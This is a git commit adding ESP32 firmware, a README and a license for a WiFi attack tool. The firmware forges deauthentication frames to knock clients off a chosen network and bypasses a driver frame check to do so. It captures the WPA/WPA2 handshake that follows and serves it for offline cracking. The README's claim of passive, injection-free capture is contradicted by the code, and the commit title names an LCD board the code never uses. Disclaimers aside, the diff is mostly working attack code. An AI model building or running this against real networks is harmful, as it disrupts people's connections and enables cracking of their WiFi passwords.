Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD
Made-with: Cursor
This commit is contained in:
52
esp32-handshake-capture/LICENSE.md
Normal file
52
esp32-handshake-capture/LICENSE.md
Normal file
@@ -0,0 +1,52 @@
|
||||
# License
|
||||
|
||||
## GNU General Public License v3.0
|
||||
|
||||
```text
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2024 Electro-Gamma
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
=====================================================================
|
||||
|
||||
ADDITIONAL ETHICAL USE REQUIREMENTS:
|
||||
|
||||
1. This software may only be used for:
|
||||
- Authorized security research
|
||||
- Educational purposes
|
||||
- Penetration testing with written permission
|
||||
|
||||
2. User agrees to:
|
||||
- Not violate any applicable laws
|
||||
- Obtain proper authorization before use
|
||||
- Not disrupt critical infrastructure
|
||||
|
||||
Violation of these terms automatically terminates your rights under this license.
|
||||
```
|
||||
|
||||
## Ethical Use Addendum
|
||||
|
||||
This software includes additional restrictions beyond GPLv3:
|
||||
|
||||
1. **Legal Compliance**: Must comply with all applicable laws (CFAA, GDPR, etc.)
|
||||
2. **Authorization Required**: Written permission required before scanning any network
|
||||
3. **Non-Malicious Use**: Strictly prohibited for:
|
||||
- Unauthorized network access
|
||||
- Privacy violations
|
||||
- Disruptive activities
|
||||
|
||||
Violations terminate all license rights immediately.
|
||||
128
esp32-handshake-capture/README.md
Normal file
128
esp32-handshake-capture/README.md
Normal file
@@ -0,0 +1,128 @@
|
||||
# WiFi Handshake Capture Tool
|
||||
|
||||
<div align="center">
|
||||
|
||||
[](LICENSE.md)
|
||||
[](https://github.com/Electro-Gamma/esp32-handshake-capture/blob/main/README.md#ethical-use)
|
||||
[](https://github.com/Electro-Gamma/esp32-handshake-capture/blob/main/README.md#requirements)
|
||||
[](https://github.com/Electro-Gamma/esp32-handshake-capture/blob/main/README.md#legal-disclaimer)
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
## ⚠️ Legal Disclaimer
|
||||
|
||||
This software is provided strictly for educational and authorized testing purposes only.
|
||||
Unauthorized use of this tool against networks you do not own or have written permission to test is illegal in most jurisdictions.
|
||||
The developers are not responsible for any misuse, damage, or legal consequences.
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
- Captures WPA/WPA2 EAPOL 4-way handshakes
|
||||
- Saves captured data in PCAP format
|
||||
- Web interface to download handshakes
|
||||
- Portable and lightweight with ESP32
|
||||
- Passive monitoring (no injection required)
|
||||
- Works with tools like Wireshark, Aircrack-ng, Hashcat (after conversion)
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
- ESP32 Development Board (e.g., DevKit v1)
|
||||
- USB cable (Micro-USB or USB-C depending on your board)
|
||||
- Arduino IDE or PlatformIO
|
||||
- Serial Monitor (115200 baud)
|
||||
- WiFi network you are authorized to test
|
||||
|
||||
---
|
||||
|
||||
## Flashing Instructions
|
||||
|
||||
### Option 1: Arduino IDE
|
||||
|
||||
1. Install ESP32 board support:
|
||||
- File → Preferences → Additional Board URLs:
|
||||
```
|
||||
https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
|
||||
```
|
||||
2. Open Boards Manager and install "ESP32"
|
||||
3. Load `esp32-handshake-capture.ino`
|
||||
4. Select:
|
||||
- Board: ESP32 Dev Module
|
||||
- Port: Your correct COM/tty port
|
||||
5. Click "Upload"
|
||||
|
||||
### Option 2: PlatformIO (VS Code)
|
||||
|
||||
```bash
|
||||
git clone https://github.com/Electro-Gamma/esp32-handshake-capture.git
|
||||
cd esp32-handshake-capture
|
||||
pio run --target upload
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Running the Tool
|
||||
|
||||
1. Open a serial monitor at 115200 baud.
|
||||
2. The ESP32 will scan for nearby WiFi networks.
|
||||
3. Select the target network by its SSID/BSSID.
|
||||
4. The handshake is captured passively.
|
||||
5. ESP32 saves the handshake as a `.pcap` file.
|
||||
6. Connect to the ESP32's web interface to download the capture.
|
||||
|
||||
---
|
||||
|
||||
## Output
|
||||
|
||||
Captured handshakes are stored in `.pcap` format and compatible with:
|
||||
- Wireshark
|
||||
- aircrack-ng
|
||||
- hcxpcapngtool / hashcat
|
||||
|
||||
---
|
||||
|
||||
## Usage Policy
|
||||
|
||||
This tool is intended for:
|
||||
- Security researchers
|
||||
- Cybersecurity training labs
|
||||
- Authorized penetration testers
|
||||
- Educational demonstrations
|
||||
|
||||
You must:
|
||||
- Use only on networks you own or have explicit permission to test
|
||||
- Follow local, national, and international laws
|
||||
- Accept full responsibility for all usage
|
||||
|
||||
---
|
||||
|
||||
## Legal Notice
|
||||
|
||||
Be aware of applicable laws that may govern or restrict the use of this tool, including but not limited to:
|
||||
- Computer Fraud and Abuse Act (CFAA)
|
||||
- General Data Protection Regulation (GDPR)
|
||||
- Digital Millennium Copyright Act (DMCA)
|
||||
- National and regional cybercrime laws
|
||||
|
||||
The authors are not liable for illegal or unethical use.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the **GNU General Public License v3.0 (GPLv3)**.
|
||||
See the [LICENSE](LICENSE.md) file for full terms.
|
||||
|
||||
---
|
||||
|
||||
## Contact
|
||||
|
||||
- GitHub: [Electro-Gamma](https://github.com/Electro-Gamma)
|
||||
|
||||
---
|
||||
|
||||
Stay ethical. Use responsibly.
|
||||
454
esp32-handshake-capture/esp32-handshake-capture.ino
Normal file
454
esp32-handshake-capture/esp32-handshake-capture.ino
Normal file
@@ -0,0 +1,454 @@
|
||||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
#include "esp_wifi.h"
|
||||
#include <SPIFFS.h>
|
||||
#include <WebServer.h>
|
||||
|
||||
// Bypass ESP32 frame sanity check
|
||||
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// PCAP structures
|
||||
typedef struct {
|
||||
uint32_t magic_number;
|
||||
uint16_t version_major;
|
||||
uint16_t version_minor;
|
||||
int32_t thiszone;
|
||||
uint32_t sigfigs;
|
||||
uint32_t snaplen;
|
||||
uint32_t network;
|
||||
} __attribute__((packed)) pcap_global_header_t;
|
||||
|
||||
typedef struct {
|
||||
uint32_t ts_sec;
|
||||
uint32_t ts_usec;
|
||||
uint32_t incl_len;
|
||||
uint32_t orig_len;
|
||||
} __attribute__((packed)) pcap_record_header_t;
|
||||
|
||||
// Network structure
|
||||
typedef struct {
|
||||
String ssid;
|
||||
uint8_t bssid[6];
|
||||
int ch;
|
||||
int rssi;
|
||||
String encryption;
|
||||
} Network;
|
||||
|
||||
// Global variables
|
||||
Network networks[20];
|
||||
Network target;
|
||||
uint8_t* pcap_buffer = nullptr;
|
||||
size_t pcap_size = 0;
|
||||
bool handshake_captured = false;
|
||||
bool beacon_captured = false;
|
||||
uint8_t eapol_count = 0;
|
||||
bool with_deauth = false;
|
||||
bool is_capturing = false;
|
||||
|
||||
WebServer server(80);
|
||||
const char* ap_ssid = "HandshakeCapture";
|
||||
const char* ap_password = "capture123";
|
||||
|
||||
void scanNetworks();
|
||||
void listNetworks();
|
||||
void selectTarget();
|
||||
void startCapture(bool deauth);
|
||||
void stopCapture();
|
||||
void saveHandshake();
|
||||
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
void pcapInit();
|
||||
void pcapAppend(const uint8_t* frame, size_t len);
|
||||
void sendDeauth();
|
||||
void startWebServer();
|
||||
void handleRoot();
|
||||
void handleDownload();
|
||||
void handleListFiles();
|
||||
void printHelp();
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
|
||||
// Initialize SPIFFS
|
||||
if (!SPIFFS.begin(true)) {
|
||||
Serial.println("Failed to mount SPIFFS");
|
||||
while(1) delay(1000);
|
||||
}
|
||||
|
||||
// Start WiFi in AP mode
|
||||
WiFi.softAP(ap_ssid, ap_password);
|
||||
Serial.print("AP IP address: ");
|
||||
Serial.println(WiFi.softAPIP());
|
||||
|
||||
// Set WiFi mode and enable promiscuous mode
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||
|
||||
// Start web server
|
||||
startWebServer();
|
||||
|
||||
Serial.println("\nWiFi Handshake Capture Tool");
|
||||
Serial.println("--------------------------");
|
||||
printHelp();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
server.handleClient();
|
||||
|
||||
if (Serial.available()) {
|
||||
String input = Serial.readStringUntil('\n');
|
||||
input.trim();
|
||||
|
||||
if (input == "1") {
|
||||
scanNetworks();
|
||||
}
|
||||
else if (input == "2") {
|
||||
listNetworks();
|
||||
}
|
||||
else if (input == "3") {
|
||||
selectTarget();
|
||||
}
|
||||
else if (input == "4") {
|
||||
startCapture(true);
|
||||
}
|
||||
else if (input == "5") {
|
||||
startCapture(false);
|
||||
}
|
||||
else if (input == "6") {
|
||||
stopCapture();
|
||||
}
|
||||
else if (input == "7") {
|
||||
handleListFiles();
|
||||
}
|
||||
else if (input == "8") {
|
||||
printHelp();
|
||||
}
|
||||
else if (input == "9") {
|
||||
Serial.println("Restarting...");
|
||||
ESP.restart();
|
||||
}
|
||||
else {
|
||||
Serial.println("Invalid command. Type '8' for help.");
|
||||
}
|
||||
}
|
||||
|
||||
// Send deauth periodically if enabled and capturing
|
||||
static unsigned long last_deauth = 0;
|
||||
if (is_capturing && with_deauth && millis() - last_deauth > 500) {
|
||||
sendDeauth();
|
||||
last_deauth = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void printHelp() {
|
||||
Serial.println("\nCommands:");
|
||||
Serial.println("1 - Scan networks");
|
||||
Serial.println("2 - List scanned networks");
|
||||
Serial.println("3 - Select target by ID");
|
||||
Serial.println("4 - Start capture with deauth");
|
||||
Serial.println("5 - Start capture without deauth");
|
||||
Serial.println("6 - Stop capture");
|
||||
Serial.println("7 - List captured files");
|
||||
Serial.println("8 - Show this help");
|
||||
Serial.println("9 - Restart device");
|
||||
Serial.println("\nWeb Interface:");
|
||||
Serial.print("http://");
|
||||
Serial.print(WiFi.softAPIP());
|
||||
Serial.println("/list");
|
||||
}
|
||||
|
||||
void scanNetworks() {
|
||||
Serial.println("\nScanning networks...");
|
||||
WiFi.scanDelete();
|
||||
|
||||
// Perform the scan using the same method as network_scan.cpp
|
||||
int n = WiFi.scanNetworks(false, true); // Async scan, hidden networks
|
||||
|
||||
if (n == 0) {
|
||||
Serial.println("No networks found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Clear previous scan results
|
||||
memset(networks, 0, sizeof(networks));
|
||||
|
||||
for (int i = 0; i < min(n, 20); i++) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
|
||||
// Handle hidden networks
|
||||
if (ssid.isEmpty()) {
|
||||
networks[i].ssid = "<HIDDEN>";
|
||||
} else {
|
||||
networks[i].ssid = ssid;
|
||||
}
|
||||
|
||||
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
|
||||
networks[i].ch = WiFi.channel(i);
|
||||
networks[i].rssi = WiFi.RSSI(i);
|
||||
|
||||
// Add encryption type information
|
||||
wifi_auth_mode_t encryption = WiFi.encryptionType(i);
|
||||
if (encryption == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
|
||||
else if (encryption == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
|
||||
else if (encryption == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
|
||||
else if (encryption == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
|
||||
else if (encryption == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
|
||||
else if (encryption == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
|
||||
else networks[i].encryption = "Unknown";
|
||||
}
|
||||
|
||||
Serial.printf("Found %d networks\n", n);
|
||||
}
|
||||
|
||||
void listNetworks() {
|
||||
Serial.println("\nScanned Networks:");
|
||||
Serial.println("ID | SSID | BSSID | CH | RSSI | Encryption");
|
||||
Serial.println("---------------------------------------------------------------");
|
||||
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid == "") continue;
|
||||
|
||||
char bssidStr[18];
|
||||
snprintf(bssidStr, sizeof(bssidStr), "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
networks[i].bssid[0], networks[i].bssid[1], networks[i].bssid[2],
|
||||
networks[i].bssid[3], networks[i].bssid[4], networks[i].bssid[5]);
|
||||
|
||||
Serial.printf("%2d | %-16s | %s | %2d | %5d | %s\n",
|
||||
i, networks[i].ssid.c_str(), bssidStr,
|
||||
networks[i].ch, networks[i].rssi, networks[i].encryption.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
void selectTarget() {
|
||||
listNetworks();
|
||||
Serial.print("\nEnter network ID to target: ");
|
||||
|
||||
while (!Serial.available()) delay(100);
|
||||
int id = Serial.parseInt();
|
||||
|
||||
if (id >= 0 && id < 20 && networks[id].ssid != "") {
|
||||
target = networks[id];
|
||||
Serial.printf("\nSelected target: %s (%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
|
||||
target.ssid.c_str(), target.bssid[0], target.bssid[1],
|
||||
target.bssid[2], target.bssid[3], target.bssid[4],
|
||||
target.bssid[5], target.ch);
|
||||
} else {
|
||||
Serial.println("Invalid selection");
|
||||
}
|
||||
}
|
||||
|
||||
void startCapture(bool deauth) {
|
||||
if (target.ssid == "") {
|
||||
Serial.println("No target selected");
|
||||
return;
|
||||
}
|
||||
|
||||
if (is_capturing) {
|
||||
Serial.println("Already capturing. Stop first.");
|
||||
return;
|
||||
}
|
||||
|
||||
Serial.printf("\nStarting handshake capture for %s...\n", target.ssid.c_str());
|
||||
Serial.println(deauth ? "With deauthentication" : "Without deauthentication");
|
||||
|
||||
pcapInit();
|
||||
handshake_captured = false;
|
||||
beacon_captured = false;
|
||||
eapol_count = 0;
|
||||
with_deauth = deauth;
|
||||
is_capturing = true;
|
||||
|
||||
// Set to target channel
|
||||
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
if (!is_capturing) {
|
||||
Serial.println("Not currently capturing");
|
||||
return;
|
||||
}
|
||||
|
||||
if (pcap_size > 0) {
|
||||
saveHandshake();
|
||||
} else {
|
||||
Serial.println("No handshake captured");
|
||||
}
|
||||
|
||||
is_capturing = false;
|
||||
}
|
||||
|
||||
void saveHandshake() {
|
||||
// Create filename with timestamp
|
||||
String timestamp = String(millis() / 1000);
|
||||
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
|
||||
filename.replace(" ", "_"); // Remove spaces from filename
|
||||
|
||||
File file = SPIFFS.open(filename, FILE_WRITE);
|
||||
if (!file) {
|
||||
Serial.println("Failed to create file");
|
||||
return;
|
||||
}
|
||||
|
||||
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
|
||||
Serial.printf("Handshake saved to %s (%d bytes)\n", filename.c_str(), pcap_size);
|
||||
} else {
|
||||
Serial.println("Error writing file");
|
||||
}
|
||||
|
||||
file.close();
|
||||
|
||||
// Clean up
|
||||
free(pcap_buffer);
|
||||
pcap_buffer = nullptr;
|
||||
pcap_size = 0;
|
||||
}
|
||||
|
||||
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!is_capturing) return;
|
||||
|
||||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||
uint8_t* payload = pkt->payload;
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (len < 36) return;
|
||||
|
||||
uint8_t frame_type = payload[0];
|
||||
bool is_beacon = frame_type == 0x80;
|
||||
|
||||
// Capture beacon frame
|
||||
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
|
||||
Serial.println("Captured beacon frame");
|
||||
beacon_captured = true;
|
||||
pcapAppend(payload, len);
|
||||
return;
|
||||
}
|
||||
|
||||
// Capture EAPOL frames (handshake)
|
||||
if ((frame_type == 0x08 || frame_type == 0x88) &&
|
||||
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
|
||||
|
||||
uint16_t ethertype = (payload[32] << 8) | payload[33];
|
||||
if (ethertype == 0x888E) { // EAPOL
|
||||
eapol_count++;
|
||||
Serial.printf("Captured EAPOL frame %d/4\n", eapol_count);
|
||||
pcapAppend(payload, len);
|
||||
|
||||
if (eapol_count >= 4) {
|
||||
handshake_captured = true;
|
||||
Serial.println("Complete handshake captured!");
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void pcapInit() {
|
||||
free(pcap_buffer);
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
pcap_buffer = (uint8_t*)malloc(pcap_size);
|
||||
|
||||
pcap_global_header_t header = {
|
||||
.magic_number = 0xa1b2c3d4,
|
||||
.version_major = 2,
|
||||
.version_minor = 4,
|
||||
.thiszone = 0,
|
||||
.sigfigs = 0,
|
||||
.snaplen = 65535,
|
||||
.network = 105 // LINKTYPE_IEEE802_11
|
||||
};
|
||||
memcpy(pcap_buffer, &header, sizeof(header));
|
||||
}
|
||||
|
||||
void pcapAppend(const uint8_t* frame, size_t len) {
|
||||
if (!frame || len == 0) return;
|
||||
|
||||
pcap_record_header_t rec = {
|
||||
.ts_sec = millis() / 1000,
|
||||
.ts_usec = (millis() % 1000) * 1000,
|
||||
.incl_len = len,
|
||||
.orig_len = len
|
||||
};
|
||||
|
||||
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
|
||||
if (!new_buf) return;
|
||||
|
||||
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
|
||||
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
|
||||
|
||||
pcap_buffer = new_buf;
|
||||
pcap_size += sizeof(rec) + len;
|
||||
}
|
||||
|
||||
void sendDeauth() {
|
||||
uint8_t deauth_packet[26] = {
|
||||
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00
|
||||
};
|
||||
|
||||
// Set BSSID in packet
|
||||
memcpy(&deauth_packet[10], target.bssid, 6);
|
||||
memcpy(&deauth_packet[16], target.bssid, 6);
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
|
||||
Serial.println("Sent deauth packet");
|
||||
}
|
||||
|
||||
void startWebServer() {
|
||||
server.on("/", handleRoot);
|
||||
server.on("/download", handleDownload);
|
||||
server.on("/list", handleListFiles);
|
||||
server.begin();
|
||||
}
|
||||
|
||||
void handleRoot() {
|
||||
server.send(200, "text/html",
|
||||
"<h1>WiFi Handshake Capture Tool</h1>"
|
||||
"<p><a href='/list'>View captured handshakes</a></p>"
|
||||
"<p>Serial commands:</p>"
|
||||
"<pre>1 - Scan networks\n2 - List networks\n3 - Select target\n4 - Capture with deauth\n5 - Capture without deauth\n6 - Stop capture\n7 - List files\n8 - Help\n9 - Restart</pre>");
|
||||
}
|
||||
|
||||
void handleListFiles() {
|
||||
String html = "<h1>Captured Handshakes</h1><ul>";
|
||||
|
||||
File root = SPIFFS.open("/");
|
||||
File file = root.openNextFile();
|
||||
|
||||
while(file) {
|
||||
if(String(file.name()).endsWith(".pcap")) {
|
||||
html += "<li><a href='/download?file=" + String(file.name()) + "'>" + String(file.name()) + "</a> (" + String(file.size()) + " bytes)</li>";
|
||||
}
|
||||
file = root.openNextFile();
|
||||
}
|
||||
|
||||
html += "</ul>";
|
||||
server.send(200, "text/html", html);
|
||||
}
|
||||
|
||||
void handleDownload() {
|
||||
if(!server.hasArg("file")) {
|
||||
server.send(400, "text/plain", "Missing file parameter");
|
||||
return;
|
||||
}
|
||||
|
||||
String filename = server.arg("file");
|
||||
if(!SPIFFS.exists(filename)) {
|
||||
server.send(404, "text/plain", "File not found");
|
||||
return;
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(filename, "r");
|
||||
if(!file) {
|
||||
server.send(500, "text/plain", "Failed to open file");
|
||||
return;
|
||||
}
|
||||
|
||||
server.sendHeader("Content-Type", "application/octet-stream");
|
||||
server.sendHeader("Content-Disposition", "attachment; filename=" + filename.substring(filename.lastIndexOf('/')+1));
|
||||
server.streamFile(file, "application/octet-stream");
|
||||
file.close();
|
||||
}
|
||||
Reference in New Issue
Block a user